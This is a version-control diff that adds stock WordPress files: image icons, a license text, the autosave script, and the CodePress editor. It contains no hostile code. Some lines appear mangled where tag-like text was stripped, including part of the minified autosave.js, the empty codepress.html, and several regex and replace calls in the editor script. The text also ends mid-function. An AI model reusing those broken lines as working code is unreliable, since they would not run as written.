-r 0d28b7c10758 web/wp-includes/images/crystal/audio.png Binary file web/wp-includes/images/crystal/audio.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/code.png Binary file web/wp-includes/images/crystal/code.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/default.png Binary file web/wp-includes/images/crystal/default.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/document.png Binary file web/wp-includes/images/crystal/document.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/interactive.png Binary file web/wp-includes/images/crystal/interactive.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/images/crystal/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,9 @@ +Crystal Project Icons +by Everaldo Coelho +http://everaldo.com + +Released under LGPL + +Modified February 2008 +for WordPress +http://wordpress.org \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/spreadsheet.png Binary file web/wp-includes/images/crystal/spreadsheet.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/text.png Binary file web/wp-includes/images/crystal/text.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/video.png Binary file web/wp-includes/images/crystal/video.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/rss.png Binary file web/wp-includes/images/rss.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_arrow.gif Binary file web/wp-includes/images/smilies/icon_arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_biggrin.gif Binary file web/wp-includes/images/smilies/icon_biggrin.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_confused.gif Binary file web/wp-includes/images/smilies/icon_confused.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_cool.gif Binary file web/wp-includes/images/smilies/icon_cool.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_cry.gif Binary file web/wp-includes/images/smilies/icon_cry.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_eek.gif Binary file web/wp-includes/images/smilies/icon_eek.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_evil.gif Binary file web/wp-includes/images/smilies/icon_evil.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_exclaim.gif Binary file web/wp-includes/images/smilies/icon_exclaim.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_idea.gif Binary file web/wp-includes/images/smilies/icon_idea.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_lol.gif Binary file web/wp-includes/images/smilies/icon_lol.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_mad.gif Binary file web/wp-includes/images/smilies/icon_mad.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_mrgreen.gif Binary file web/wp-includes/images/smilies/icon_mrgreen.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_neutral.gif Binary file web/wp-includes/images/smilies/icon_neutral.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_question.gif Binary file web/wp-includes/images/smilies/icon_question.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_razz.gif Binary file web/wp-includes/images/smilies/icon_razz.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_redface.gif Binary file web/wp-includes/images/smilies/icon_redface.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_rolleyes.gif Binary file web/wp-includes/images/smilies/icon_rolleyes.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_sad.gif Binary file web/wp-includes/images/smilies/icon_sad.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_smile.gif Binary file web/wp-includes/images/smilies/icon_smile.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_surprised.gif Binary file web/wp-includes/images/smilies/icon_surprised.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_twisted.gif Binary file web/wp-includes/images/smilies/icon_twisted.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/smilies/icon_wink.gif Binary file web/wp-includes/images/smilies/icon_wink.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/upload.png Binary file web/wp-includes/images/upload.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/wlw/wp-comments.png Binary file web/wp-includes/images/wlw/wp-comments.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/wlw/wp-icon.png Binary file web/wp-includes/images/wlw/wp-icon.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/wlw/wp-watermark.png Binary file web/wp-includes/images/wlw/wp-watermark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/autosave.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/autosave.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,307 @@ +var autosave, autosaveLast = '', autosavePeriodical, autosaveOldMessage = '', autosaveDelayPreview = false, notSaved = true, blockSave = false, interimLogin = false; + +jQuery(document).ready( function($) { + var dotabkey = true; + + autosaveLast = $('#post #title').val() + $('#post #content').val(); + autosavePeriodical = $.schedule({time: autosaveL10n.autosaveInterval * 1000, func: function() { autosave(); }, repeat: true, protect: true}); + + //Disable autosave after the form has been submitted + $("#post").submit(function() { + $.cancel(autosavePeriodical); + }); + + $('input[type="submit"], a.submitdelete', '#submitpost').click(function(){ + blockSave = true; + window.onbeforeunload = null; + $(':button, :submit', '#submitpost').each(function(){ + var t = $(this); + if ( t.hasClass('button-primary') ) + t.addClass('button-primary-disabled'); + else + t.addClass('button-disabled'); + }); + $('#ajax-loading').css('visibility', 'visible'); + }); + + window.onbeforeunload = function(){ + var mce = typeof(tinyMCE) != 'undefined' ? tinyMCE.activeEditor : false, title, content; + + if ( mce && !mce.isHidden() ) { + if ( mce.isDirty() ) + return autosaveL10n.saveAlert; + } else { + title = $('#post #title').val(), content = $('#post #content').val(); + if ( ( title || content ) && title + content != autosaveLast ) + return autosaveL10n.saveAlert; + } + }; + + // preview + $('#post-preview').click(function(){ + if ( 1 > $('#post_ID').val() && notSaved ) { + autosaveDelayPreview = true; + autosave(); + return false; + } + doPreview(); + return false; + }); + + doPreview = function() { + $('input#wp-preview').val('dopreview'); + $('form#post').attr('target', 'wp-preview').submit().attr('target', ''); + $('input#wp-preview').val(''); + } + + // This code is meant to allow tabbing from Title to Post if tinyMCE is defined. + if ( typeof tinyMCE != 'undefined' ) { + $('#title')[$.browser.opera ? 'keypress' : 'keydown'](function (e) { + if ( e.which == 9 && !e.shiftKey && !e.controlKey && !e.altKey ) { + if ( ($("#post_ID").val() < 1) && ($("#title").val().length > 0) ) { autosave(); } + if ( tinyMCE.activeEditor && ! tinyMCE.activeEditor.isHidden() && dotabkey ) { + e.preventDefault(); + dotabkey = false; + tinyMCE.activeEditor.focus(); + return false; + } + } + }); + } + + // autosave new posts after a title is typed but not if Publish or Save Draft is clicked + if ( 0 > $('#post_ID').val() ) { + $('#title').blur( function() { + if ( !this.value || 0 < $('#post_ID').val() ) + return; + + delayed_autosave(); + }); + } +}); + +function autosave_parse_response(response) { + var res = wpAjax.parseAjaxResponse(response, 'autosave'), message = '', postID, sup, url; + + if ( res && res.responses && res.responses.length ) { + message = res.responses[0].data; // The saved message or error. + // someone else is editing: disable autosave, set errors + if ( res.responses[0].supplemental ) { + sup = res.responses[0].supplemental; + if ( 'disable' == sup['disable_autosave'] ) { + autosave = function() {}; + res = { errors: true }; + } + if ( sup['session_expired'] && (url = sup['session_expired']) ) { + if ( !interimLogin || interimLogin.closed ) { + interimLogin = window.open(url, 'login', 'width=600,height=450,resizable=yes,scrollbars=yes,status=yes'); + interimLogin.focus(); + } + delete sup['session_expired']; + } + jQuery.each(sup, function(selector, value) { + if ( selector.match(/^replace-/) ) { + jQuery('#'+selector.replace('replace-', '')).val(value); + } + }); + } + + // if no errors: add slug UI + if ( !res.errors ) { + postID = parseInt( res.responses[0].id, 10 ); + if ( !isNaN(postID) && postID > 0 ) { + autosave_update_slug(postID); + } + } + } + if ( message ) { jQuery('#autosave').html(message); } // update autosave message + else if ( autosaveOldMessage && res ) { jQuery('#autosave').html( autosaveOldMessage ); } + return res; +} + +// called when autosaving pre-existing post +function autosave_saved(response) { + autosave_parse_response(response); // parse the ajax response + autosave_enable_buttons(); // re-enable disabled form buttons +} + +// called when autosaving new post +function autosave_saved_new(response) { + var res = autosave_parse_response(response), tempID, postID; + // if no errors: update post_ID from the temporary value, grab new save-nonce for that new ID + if ( res && res.responses.length && !res.errors ) { + tempID = jQuery('#post_ID').val(); + postID = parseInt( res.responses[0].id, 10 ); + autosave_update_post_ID( postID ); // disabled form buttons are re-enabled here + if ( tempID < 0 && postID > 0 ) { // update media buttons + notSaved = false; + jQuery('#media-buttons a').each(function(){ + this.href = this.href.replace(tempID, postID); + }); + } + if ( autosaveDelayPreview ) { + autosaveDelayPreview = false; + doPreview(); + } + } else { + autosave_enable_buttons(); // re-enable disabled form buttons + } +} + +function autosave_update_post_ID( postID ) { + if ( !isNaN(postID) && postID > 0 ) { + if ( postID == parseInt(jQuery('#post_ID').val(), 10) ) { return; } // no need to do this more than once + jQuery('#post_ID').attr({name: "post_ID"}); + jQuery('#post_ID').val(postID); + // We need new nonces + jQuery.post(autosaveL10n.requestFile, { + action: "autosave-generate-nonces", + post_ID: postID, + autosavenonce: jQuery('#autosavenonce').val(), + post_type: jQuery('#post_type').val() + }, function(html) { + jQuery('#_wpnonce').val(html.updateNonce); + jQuery('#delete-action a.submitdelete').attr('href', html.deleteURL); + autosave_enable_buttons(); // re-enable disabled form buttons + jQuery('#delete-action a.submitdelete').fadeIn(); + }, + 'json'); + jQuery('#hiddenaction').val('editpost'); + } +} + +function autosave_update_slug(post_id) { + // create slug area only if not already there + if ( 'undefined' != makeSlugeditClickable && jQuery.isFunction(makeSlugeditClickable) && !jQuery('#edit-slug-box > *').size() ) { + jQuery.post( + ajaxurl, + { + action: 'sample-permalink', + post_id: post_id, + new_title: jQuery('#title').val(), + samplepermalinknonce: jQuery('#samplepermalinknonce').val() + }, + function(data) { + jQuery('#edit-slug-box').html(data); + makeSlugeditClickable(); + } + ); + } +} + +function autosave_loading() { + jQuery('#autosave').html(autosaveL10n.savingText); +} + +function autosave_enable_buttons() { + // delay that a bit to avoid some rare collisions while the DOM is being updated. + setTimeout(function(){ + jQuery(':button, :submit', '#submitpost').removeAttr('disabled'); + jQuery('#ajax-loading').css('visibility', 'hidden'); + }, 500); +} + +function autosave_disable_buttons() { + jQuery(':button, :submit', '#submitpost').attr('disabled', 'disabled'); + // Re-enable 5 sec later. Just gives autosave a head start to avoid collisions. + setTimeout(autosave_enable_buttons, 5000); +} + +function delayed_autosave() { + setTimeout(function(){ + if ( blockSave ) + return; + autosave(); + }, 200); +} + +autosave = function() { + // (bool) is rich editor enabled and active + var rich = (typeof tinyMCE != "undefined") && tinyMCE.activeEditor && !tinyMCE.activeEditor.isHidden(), post_data, doAutoSave, ed, origStatus, successCallback; + + autosave_disable_buttons(); + + post_data = { + action: "autosave", + post_ID: jQuery("#post_ID").val() || 0, + post_title: jQuery("#title").val() || "", + autosavenonce: jQuery('#autosavenonce').val(), + post_type: jQuery('#post_type').val() || "", + autosave: 1 + }; + + jQuery('.tags-input').each( function() { + post_data[this.name] = this.value; + } ); + + // We always send the ajax request in order to keep the post lock fresh. + // This (bool) tells whether or not to write the post to the DB during the ajax request. + doAutoSave = true; + + // No autosave while thickbox is open (media buttons) + if ( jQuery("#TB_window").css('display') == 'block' ) + doAutoSave = false; + + /* Gotta do this up here so we can check the length when tinyMCE is in use */ + if ( rich && doAutoSave ) { + ed = tinyMCE.activeEditor; + // Don't run while the TinyMCE spellcheck is on. It resets all found words. + if ( ed.plugins.spellchecker && ed.plugins.spellchecker.active ) { + doAutoSave = false; + } else { + if ( 'mce_fullscreen' == ed.id ) + tinyMCE.get('content').setContent(ed.getContent({format : 'raw'}), {format : 'raw'}); + tinyMCE.get('content').save(); + } + } + + post_data["content"] = jQuery("#content").val(); + if ( jQuery('#post_name').val() ) + post_data["post_name"] = jQuery('#post_name').val(); + + // Nothing to save or no change. + if ( ( post_data["post_title"].length == 0 && post_data["content"].length == 0 ) || post_data["post_title"] + post_data["content"] == autosaveLast ) { + doAutoSave = false; + } + + origStatus = jQuery('#original_post_status').val(); + + goodcats = ([]); + jQuery("[name='post_category[]']:checked").each( function(i) { + goodcats.push(this.value); + } ); + post_data["catslist"] = goodcats.join(","); + + if ( jQuery("#comment_status").attr("checked") ) + post_data["comment_status"] = 'open'; + if ( jQuery("#ping_status").attr("checked") ) + post_data["ping_status"] = 'open'; + if ( jQuery("#excerpt").size() ) + post_data["excerpt"] = jQuery("#excerpt").val(); + if ( jQuery("#post_author").size() ) + post_data["post_author"] = jQuery("#post_author").val(); + post_data["user_ID"] = jQuery("#user-id").val(); + + if ( doAutoSave ) { + autosaveLast = jQuery("#title").val()+jQuery("#content").val(); + } else { + post_data['autosave'] = 0; + } + + if ( parseInt(post_data["post_ID"], 10) < 1 ) { + post_data["temp_ID"] = post_data["post_ID"]; + successCallback = autosave_saved_new; // new post + } else { + successCallback = autosave_saved; // pre-existing post + } + + autosaveOldMessage = jQuery('#autosave').html(); + + jQuery.ajax({ + data: post_data, + beforeSend: doAutoSave ? autosave_loading : null, + type: "POST", + url: autosaveL10n.requestFile, + success: successCallback + }); +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/autosave.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/autosave.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var autosave,autosaveLast="",autosavePeriodical,autosaveOldMessage="",autosaveDelayPreview=false,notSaved=true,blockSave=false,interimLogin=false;jQuery(document).ready(function(b){var a=true;autosaveLast=b("#post #title").val()+b("#post #content").val();autosavePeriodical=b.schedule({time:autosaveL10n.autosaveInterval*1000,func:function(){autosave()},repeat:true,protect:true});b("#post").submit(function(){b.cancel(autosavePeriodical)});b('input[type="submit"], a.submitdelete',"#submitpost").click(function(){blockSave=true;window.onbeforeunload=null;b(":button, :submit","#submitpost").each(function(){var c=b(this);if(c.hasClass("button-primary")){c.addClass("button-primary-disabled")}else{c.addClass("button-disabled")}});b("#ajax-loading").css("visibility","visible")});window.onbeforeunload=function(){var c=typeof(tinyMCE)!="undefined"?tinyMCE.activeEditor:false,e,d;if(c&&!c.isHidden()){if(c.isDirty()){return autosaveL10n.saveAlert}}else{e=b("#post #title").val(),d=b("#post #content").val();if((e||d)&&e+d!=autosaveLast){return autosaveL10n.saveAlert}}};b("#post-preview").click(function(){if(1>b("#post_ID").val()&¬Saved){autosaveDelayPreview=true;autosave();return false}doPreview();return false});doPreview=function(){b("input#wp-preview").val("dopreview");b("form#post").attr("target","wp-preview").submit().attr("target","");b("input#wp-preview").val("")};if(typeof tinyMCE!="undefined"){b("#title")[b.browser.opera?"keypress":"keydown"](function(c){if(c.which==9&&!c.shiftKey&&!c.controlKey&&!c.altKey){if((b("#post_ID").val()<1)&&(b("#title").val().length>0)){autosave()}if(tinyMCE.activeEditor&&!tinyMCE.activeEditor.isHidden()&&a){c.preventDefault();a=false;tinyMCE.activeEditor.focus();return false}}})}if(0>b("#post_ID").val()){b("#title").blur(function(){if(!this.value||00){autosave_update_slug(a)}}}if(f){jQuery("#autosave").html(f)}else{if(autosaveOldMessage&&e){jQuery("#autosave").html(autosaveOldMessage)}}return e}function autosave_saved(a){autosave_parse_response(a);autosave_enable_buttons()}function autosave_saved_new(b){var d=autosave_parse_response(b),c,a;if(d&&d.responses.length&&!d.errors){c=jQuery("#post_ID").val();a=parseInt(d.responses[0].id,10);autosave_update_post_ID(a);if(c<0&&a>0){notSaved=false;jQuery("#media-buttons a").each(function(){this.href=this.href.replace(c,a)})}if(autosaveDelayPreview){autosaveDelayPreview=false;doPreview()}}else{autosave_enable_buttons()}}function autosave_update_post_ID(a){if(!isNaN(a)&&a>0){if(a==parseInt(jQuery("#post_ID").val(),10)){return}jQuery("#post_ID").attr({name:"post_ID"});jQuery("#post_ID").val(a);jQuery.post(autosaveL10n.requestFile,{action:"autosave-generate-nonces",post_ID:a,autosavenonce:jQuery("#autosavenonce").val(),post_type:jQuery("#post_type").val()},function(b){jQuery("#_wpnonce").val(b.updateNonce);jQuery("#delete-action a.submitdelete").attr("href",b.deleteURL);autosave_enable_buttons();jQuery("#delete-action a.submitdelete").fadeIn()},"json");jQuery("#hiddenaction").val("editpost")}}function autosave_update_slug(a){if("undefined"!=makeSlugeditClickable&&jQuery.isFunction(makeSlugeditClickable)&&!jQuery("#edit-slug-box > *").size()){jQuery.post(ajaxurl,{action:"sample-permalink",post_id:a,new_title:jQuery("#title").val(),samplepermalinknonce:jQuery("#samplepermalinknonce").val()},function(b){jQuery("#edit-slug-box").html(b);makeSlugeditClickable()})}}function autosave_loading(){jQuery("#autosave").html(autosaveL10n.savingText)}function autosave_enable_buttons(){setTimeout(function(){jQuery(":button, :submit","#submitpost").removeAttr("disabled");jQuery("#ajax-loading").css("visibility","hidden")},500)}function autosave_disable_buttons(){jQuery(":button, :submit","#submitpost").attr("disabled","disabled");setTimeout(autosave_enable_buttons,5000)}function delayed_autosave(){setTimeout(function(){if(blockSave){return}autosave()},200)}autosave=function(){var c=(typeof tinyMCE!="undefined")&&tinyMCE.activeEditor&&!tinyMCE.activeEditor.isHidden(),d,f,b,e,a;autosave_disable_buttons();d={action:"autosave",post_ID:jQuery("#post_ID").val()||0,post_title:jQuery("#title").val()||"",autosavenonce:jQuery("#autosavenonce").val(),post_type:jQuery("#post_type").val()||"",autosave:1};jQuery(".tags-input").each(function(){d[this.name]=this.value});f=true;if(jQuery("#TB_window").css("display")=="block"){f=false}if(c&&f){b=tinyMCE.activeEditor;if(b.plugins.spellchecker&&b.plugins.spellchecker.active){f=false}else{if("mce_fullscreen"==b.id){tinyMCE.get("content").setContent(b.getContent({format:"raw"}),{format:"raw"})}tinyMCE.get("content").save()}}d.content=jQuery("#content").val();if(jQuery("#post_name").val()){d.post_name=jQuery("#post_name").val()}if((d.post_title.length==0&&d.content.length==0)||d.post_title+d.content==autosaveLast){f=false}e=jQuery("#original_post_status").val();goodcats=([]);jQuery("[name='post_category[]']:checked").each(function(g){goodcats.push(this.value)});d.catslist=goodcats.join(",");if(jQuery("#comment_status").attr("checked")){d.comment_status="open"}if(jQuery("#ping_status").attr("checked")){d.ping_status="open"}if(jQuery("#excerpt").size()){d.excerpt=jQuery("#excerpt").val()}if(jQuery("#post_author").size()){d.post_author=jQuery("#post_author").val()}d.user_ID=jQuery("#user-id").val();if(f){autosaveLast=jQuery("#title").val()+jQuery("#content").val()}else{d.autosave=0}if(parseInt(d.post_ID,10)<1){d.temp_ID=d.post_ID;a=autosave_saved_new}else{a=autosave_saved}autosaveOldMessage=jQuery("#autosave").html();jQuery.ajax({data:d,beforeSend:f?autosave_loading:null,type:"POST",url:autosaveL10n.requestFile,success:a})}; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/codepress.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/codepress.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,21 @@ +body { + margin-top:13px; + _margin-top:14px; + background:white; + margin-left:32px; + font-family:monospace; + font-size:13px; + white-space:pre; + background-image:url("images/line-numbers.png"); + background-repeat:repeat-y; + background-position:0 3px; + line-height:16px; + height:100%; +} +pre {margin:0;} +html>body{background-position:0 2px;} +P {margin:0;padding:0;border:0;outline:0;display:block;white-space:pre;} +b, i, s, u, a, em, tt, ins, big, cite, strong, var, dfn {text-decoration:none;font-weight:normal;font-style:normal;font-size:13px;} + +body.hide-line-numbers {background:white;margin-left:16px;} +body.show-line-numbers {background-image:url("images/line-numbers.png");margin-left:32px;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/codepress.html --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/codepress.html Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,35 @@ + + + + CodePress - Real Time Syntax Highlighting Editor written in JavaScript + + + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/codepress.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/codepress.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,137 @@ +/* + * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/ + * + * Copyright (C) 2006 Fernando M.A.d.S. + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU Lesser General Public License as published by the Free Software Foundation. + * + * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php + */ + +CodePress = function(obj) { + var self = document.createElement('iframe'); + self.textarea = obj; + self.textarea.disabled = true; + self.textarea.style.overflow = 'hidden'; + self.style.height = self.textarea.clientHeight +'px'; + self.style.width = self.textarea.clientWidth +'px'; + self.textarea.style.overflow = 'auto'; + self.style.border = '1px solid gray'; + self.frameBorder = 0; // remove IE internal iframe border + self.style.visibility = 'hidden'; + self.style.position = 'absolute'; + self.options = self.textarea.className; + + self.initialize = function() { + self.editor = self.contentWindow.CodePress; + self.editor.body = self.contentWindow.document.getElementsByTagName('body')[0]; + self.editor.setCode(self.textarea.value); + self.setOptions(); + self.editor.syntaxHighlight('init'); + self.textarea.style.display = 'none'; + self.style.position = 'static'; + self.style.visibility = 'visible'; + self.style.display = 'inline'; + } + + // obj can by a textarea id or a string (code) + self.edit = function(obj,language) { + if(obj) self.textarea.value = document.getElementById(obj) ? document.getElementById(obj).value : obj; + if(!self.textarea.disabled) return; + self.language = language ? language : self.getLanguage(); + self.src = CodePress.path+'codepress.html?language='+self.language+'&ts='+(new Date).getTime(); + if(self.attachEvent) self.attachEvent('onload',self.initialize); + else self.addEventListener('load',self.initialize,false); + } + + self.getLanguage = function() { + for (language in CodePress.languages) + if(self.options.match('\\b'+language+'\\b')) + return CodePress.languages[language] ? language : 'generic'; + } + + self.setOptions = function() { + if(self.options.match('autocomplete-off')) self.toggleAutoComplete(); + if(self.options.match('readonly-on')) self.toggleReadOnly(); + if(self.options.match('linenumbers-off')) self.toggleLineNumbers(); + } + + self.getCode = function() { + return self.textarea.disabled ? self.editor.getCode() : self.textarea.value; + } + + self.setCode = function(code) { + self.textarea.disabled ? self.editor.setCode(code) : self.textarea.value = code; + } + + self.toggleAutoComplete = function() { + self.editor.autocomplete = (self.editor.autocomplete) ? false : true; + } + + self.toggleReadOnly = function() { + self.textarea.readOnly = (self.textarea.readOnly) ? false : true; + if(self.style.display != 'none') // prevent exception on FF + iframe with display:none + self.editor.readOnly(self.textarea.readOnly ? true : false); + } + + self.toggleLineNumbers = function() { + var cn = self.editor.body.className; + self.editor.body.className = (cn==''||cn=='show-line-numbers') ? 'hide-line-numbers' : 'show-line-numbers'; + } + + self.toggleEditor = function() { + if(self.textarea.disabled) { + self.textarea.value = self.getCode(); + self.textarea.disabled = false; + self.style.display = 'none'; + self.textarea.style.display = 'inline'; + } + else { + self.textarea.disabled = true; + self.setCode(self.textarea.value); + self.editor.syntaxHighlight('init'); + self.style.display = 'inline'; + self.textarea.style.display = 'none'; + } + } + + self.edit(); + return self; +} + +CodePress.languages = { + csharp : 'C#', + css : 'CSS', + generic : 'Generic', + html : 'HTML', + java : 'Java', + javascript : 'JavaScript', + perl : 'Perl', + ruby : 'Ruby', + php : 'PHP', + text : 'Text', + sql : 'SQL', + vbscript : 'VBScript' +} + + +CodePress.run = function() { + // Modified for WordPress compat to prevent loading on webkit and to + // reference a codepress_path which is specified externally. + if (navigator.userAgent.toLowerCase().indexOf('webkit') != -1) + return; + CodePress.path = codepress_path; + var t = document.getElementsByTagName('textarea'), i, id; + for(i=0,n=t.length;i + * + * Developers: + * Fernando M.A.d.S. + * Michael Hurni + * Contributors: + * Martin D. Kirk + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU Lesser General Public License as published by the Free Software Foundation. + * + * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php + */ + +CodePress = { + scrolling : false, + autocomplete : true, + + // set initial vars and start sh + initialize : function() { + if(typeof(editor)=='undefined' && !arguments[0]) return; + body = document.getElementsByTagName('body')[0]; + body.innerHTML = body.innerHTML.replace(/\n/g,""); + chars = '|32|46|62|8|'; // charcodes that trigger syntax highlighting + cc = '\u2009'; // carret char + editor = document.getElementsByTagName('pre')[0]; + document.designMode = 'on'; + document.addEventListener('keypress', this.keyHandler, true); + window.addEventListener('scroll', function() { if(!CodePress.scrolling) CodePress.syntaxHighlight('scroll') }, false); + completeChars = this.getCompleteChars(); + completeEndingChars = this.getCompleteEndingChars(); + }, + + // treat key bindings + keyHandler : function(evt) { + keyCode = evt.keyCode; + charCode = evt.charCode; + fromChar = String.fromCharCode(charCode); + + if((evt.ctrlKey || evt.metaKey) && evt.shiftKey && charCode!=90) { // shortcuts = ctrl||appleKey+shift+key!=z(undo) + CodePress.shortcuts(charCode?charCode:keyCode); + } + else if( (completeEndingChars.indexOf('|'+fromChar+'|')!= -1 || completeChars.indexOf('|'+fromChar+'|')!=-1) && CodePress.autocomplete) { // auto complete + if(!CodePress.completeEnding(fromChar)) + CodePress.complete(fromChar); + } + else if(chars.indexOf('|'+charCode+'|')!=-1||keyCode==13) { // syntax highlighting + top.setTimeout(function(){CodePress.syntaxHighlight('generic');},100); + } + else if(keyCode==9 || evt.tabKey) { // snippets activation (tab) + CodePress.snippets(evt); + } + else if(keyCode==46||keyCode==8) { // save to history when delete or backspace pressed + CodePress.actions.history[CodePress.actions.next()] = editor.innerHTML; + } + else if((charCode==122||charCode==121||charCode==90) && evt.ctrlKey) { // undo and redo + (charCode==121||evt.shiftKey) ? CodePress.actions.redo() : CodePress.actions.undo(); + evt.preventDefault(); + } + else if(charCode==118 && evt.ctrlKey) { // handle paste + top.setTimeout(function(){CodePress.syntaxHighlight('generic');},100); + } + else if(charCode==99 && evt.ctrlKey) { // handle cut + //alert(window.getSelection().getRangeAt(0).toString().replace(/\t/g,'FFF')); + } + + }, + + // put cursor back to its original position after every parsing + findString : function() { + if(self.find(cc)) + window.getSelection().getRangeAt(0).deleteContents(); + }, + + // split big files, highlighting parts of it + split : function(code,flag) { + if(flag=='scroll') { + this.scrolling = true; + return code; + } + else { + this.scrolling = false; + mid = code.indexOf(cc); + if(mid-2000<0) {ini=0;end=4000;} + else if(mid+2000>code.length) {ini=code.length-4000;end=code.length;} + else {ini=mid-2000;end=mid+2000;} + code = code.substring(ini,end); + return code; + } + }, + + getEditor : function() { + if(!document.getElementsByTagName('pre')[0]) { + body = document.getElementsByTagName('body')[0]; + if(!body.innerHTML) return body; + if(body.innerHTML=="
    ") body.innerHTML = "
     
    "; + else body.innerHTML = "
    "+body.innerHTML+"
    "; + } + return document.getElementsByTagName('pre')[0]; + }, + + // syntax highlighting parser + syntaxHighlight : function(flag) { + //if(document.designMode=='off') document.designMode='on' + if(flag != 'init') { window.getSelection().getRangeAt(0).insertNode(document.createTextNode(cc));} + editor = CodePress.getEditor(); + o = editor.innerHTML; + o = o.replace(/
    /g,'\n'); + o = o.replace(/<.*?>/g,''); + x = z = this.split(o,flag); + x = x.replace(/\n/g,'
    '); + + if(arguments[1]&&arguments[2]) x = x.replace(arguments[1],arguments[2]); + + for(i=0;i/g,'>'); + if(content.indexOf('$0')<0) content += cc; + else content = content.replace(/\$0/,cc); + content = content.replace(/\n/g,'
    '); + var pattern = new RegExp(trigger+cc,'gi'); + evt.preventDefault(); // prevent the tab key from being added + this.syntaxHighlight('snippets',pattern,content); + } + } + }, + + readOnly : function() { + document.designMode = (arguments[0]) ? 'off' : 'on'; + }, + + complete : function(trigger) { + window.getSelection().getRangeAt(0).deleteContents(); + var complete = Language.complete; + for (var i=0; i/g,'\n'); + code = code.replace(/\u2009/g,''); + code = code.replace(/<.*?>/g,''); + code = code.replace(/</g,'<'); + code = code.replace(/>/g,'>'); + code = code.replace(/&/gi,'&'); + return code; + }, + + // put code inside editor + setCode : function() { + var code = arguments[0]; + code = code.replace(/\u2009/gi,''); + code = code.replace(/&/gi,'&'); + code = code.replace(//g,'>'); + editor.innerHTML = code; + if (code == '') + document.getElementsByTagName('body')[0].innerHTML = ''; + }, + + // undo and redo methods + actions : { + pos : -1, // actual history position + history : [], // history vector + + undo : function() { + editor = CodePress.getEditor(); + if(editor.innerHTML.indexOf(cc)==-1){ + if(editor.innerHTML != " ") + window.getSelection().getRangeAt(0).insertNode(document.createTextNode(cc)); + 